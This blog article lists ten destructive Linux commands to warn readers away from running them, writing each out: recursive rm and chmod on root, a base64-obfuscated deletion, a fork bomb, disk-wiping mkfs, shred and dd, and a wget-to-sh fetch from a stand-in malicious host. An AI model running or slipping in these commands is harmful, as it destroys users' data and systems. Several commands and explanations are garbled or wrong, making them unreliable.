10 Linux command that can cause destruction and should never be run

Linux has become the dominant operating system in the world, with widespread usage in most areas and industries. It powers a wide range of devices, from Android operating systems on smartphones, to servers and even computer systems in refrigerators and coffee machines. With so many devices relying on Linux, it’s important to have a good understanding of the system, as using it incorrectly can cause irreparable damage. This article will focus on some of the dangerous commands that can cause serious problems for the Linux system. By learning about these commands and the ways they can damage the system, we can better protect ourselves from accidental damage. So let’s take a closer look at who did it and what’s damaging.

what is Linux?

Linux (also known as GNU/Linux) is a free and open-source operating system developed in 1991 by Linus Torvalds. It is built on the Linux kernel which is the core of the OS((operating system)) and is based on the UNIX operating system. Linux is highly scalable and can be adapted to run on a variety of devices, from personal computers and servers to smartphones and embedded systems. It has gained popularity for its robustness, security, flexibility, and open-source software applications. Linux is maintained and distributed by a team of professionals and companies, who contribute to its development and support.

Dangerous Linux commands

Warning: Using these commands can be very dangerous and they are strongly discouraged. We strongly advise against trying them. To see their usage, create a virtual environment in virtualization software and run them in that environment, not on your local system. This is critical to preventing unintentional damage to your system and keeping your data safe. Remember, increasing awareness and awareness of these commands is key to avoiding inadvertent execution.

1-chmod

The "chmod" command is an important tool in Unix and Unix-like operating systems, used to change access to files and directories. However, incorrect use of this command can severely damage the operating system. For example, if the command is applied to certain methods or parameters((Like the two commands written below)), it may change the permission settings for all files in the Linux system or root directory to zero, making all Linux commands, including "chmod", compliant they cannot be used. Therefore, it is important to be cautious and only use the "chmod" command with proper knowledge and understanding to avoid such disastrous consequences.

$ chmod 000 -Rf /

or

$ cd /; chmod 000 -Rf

2-rm

The "rm" command, short for "remove", is a powerful tool in Linux for deleting files and directories. By using the "-r" switch, it can also delete system folders and their contents. However, it is important to be careful when using this command, as misuse can cause important configuration files to be deleted. For example, executing a variation of the command in the Linux shell can cause all system files, including those in the root folder and files in the Linux operating system, to be permanently deleted. To prevent such a mishap, it is important to use the "rm" command with caution and always double-check that the file or folder is deleted before running the command.

$ rm -rf /

or

$ cd /; rm -rf .

or

$ rm -rf *

3-Subshells

In GNU/Linux operating systems, security is very important, and it is important to be careful when dealing with potentially malicious code. One such example is the use of base64-encoded data, which attackers can use to obfuscate their code and avoid detection. If you encounter a function with inconsistent characters written in Base64, it is important to thoroughly test and verify the code before running it. It’s worth noting that legitimate programmers may use Base64 encoding to protect their code, but this is usually done in situations where code transparency is needed, such as for copyright protection or proprietary software. However, in cases where the intention is malicious, the use of Base64-encoded code may be indicative of vandalism or other harmful activity. As such, it is important to be careful and carefully evaluate any suspicious code before running it on a Linux system.

For example, the following command is the same as the above command, which is base64 encoded:

$(echo cm0gLXJmIH4vKg== | base64 | base64 –d)

4-Fork bomb

It's important to be aware of the fork bomb method, which is not mandatory in itself but is a set of scripts that can be executed in a Linux terminal. Unfortunately, some individuals may enter these characters for fun, not realizing the harm they can cause. When executed, the fork bomb executes an empty array function and flips a value in the same array multiple times in a loop, resulting in a dramatic increase in RAM and CPU usage. This can quickly overwhelm the operating system's process table and cause a complete system crash. As such, it is important to take precautions when using the terminal to avoid entering any commands or characters that may have unintended consequences. Additionally, it is recommended to keep backups and store important data regularly in case of system failure or other issues.

$ :(){:|:&};:

5-mkfs

This command in Linux is used to create a new ext3 file system on the specified block device "/dev/sda". "mkfs" stands for "make file system", and "ext3" is the type of file system being created. The command installs the specified machine with the ext3 file system, which is the most common file system used in Linux systems. The "/dev/sda" portion of the command specifies the specific block device on which the file system will be created. It is important to note that this command will permanently delete any data on the specified machine, so it should be used with caution and only after a proper backup.

$ mkfs.ex3 / dev / sda

6-mv

This command is a common Linux command that allows you to move or rename files. However, entering incorrect parameters such as the following file in this command can cause irreversible damage to your system. This can lead to the corruption of your home directory and the loss of your Linux operating system. Therefore, it is important to be careful when using the "mv" command and double-check the parameters before execution.

$ mv /home /dev/null

7-shred

This command works just like the "rm" command, but with one important difference. If you delete something with the "rm" command, you may be able to restore the relevant files with recovery software. However, using this command makes it impossible to restore the files even with software recovery, making them permanently deleted.

$ shred /dev/sda

8-file <

The following commands are used to delete the contents of a file. However, if the command is executed incorrectly or as "> xt.conf", it may result in corruption of configuration files or other important configuration files. It is important to take precautions when using this command to avoid unintended consequences.

$ file <

9-wget

The command shown below downloads and runs a script from an untrusted source. The "wget" command is used to download the script and "sh" is used. It is important to note that downloading and running scripts from untrusted sources can be dangerous and can harm your system. Therefore, it is recommended that you only download and use scripts and applications from trusted sources.

In general, it is wise to exercise caution when downloading and running scripts on your system, verifying the source and content of the script before execution. In general, it is wise to exercise caution when downloading and running scripts on your system, verifying the source and content of the script before execution.

$ wget http://maliciouswebsite.com/script.sh -O - | sh

10-dd

The following command irreversibly deletes the "sda" ​​block and overwrites it with unintended and corrupted data, leaving the system in an inconsistent and unusable state. It is a very damaging command and should only be used with extreme caution, as it can cause irreversible damage to the system.

$ dd if=/dev/random of=/dev/sda

Conclusion

The Linux operating system provides powerful command-line tools that can perform complex tasks and efficiently manage the system. However, some of these commands can be very damaging to the system if used incorrectly or incorrectly. It is important to understand and avoid these dangerous commands to protect the integrity of your system and prevent data loss. By learning about these commands and increasing our awareness of potential risks, we can prevent their unintended execution and ensure the security and stability of our Linux systems. Therefore, it is important that you treat these orders with care and only use them when necessary and with the right knowledge and skills.

what is your opinion? If you have experience working with any of these commands or know other dangerous commands that are not mentioned in this article, be sure to write in the comments✌️❤️💣

22
Subscribe to my newsletter

Read articles from Shahriar Ghasempour directly inside your inbox. Subscribe to the newsletter, and don't miss out.

Written by

Shahriar Ghasempour
Shahriar Ghasempour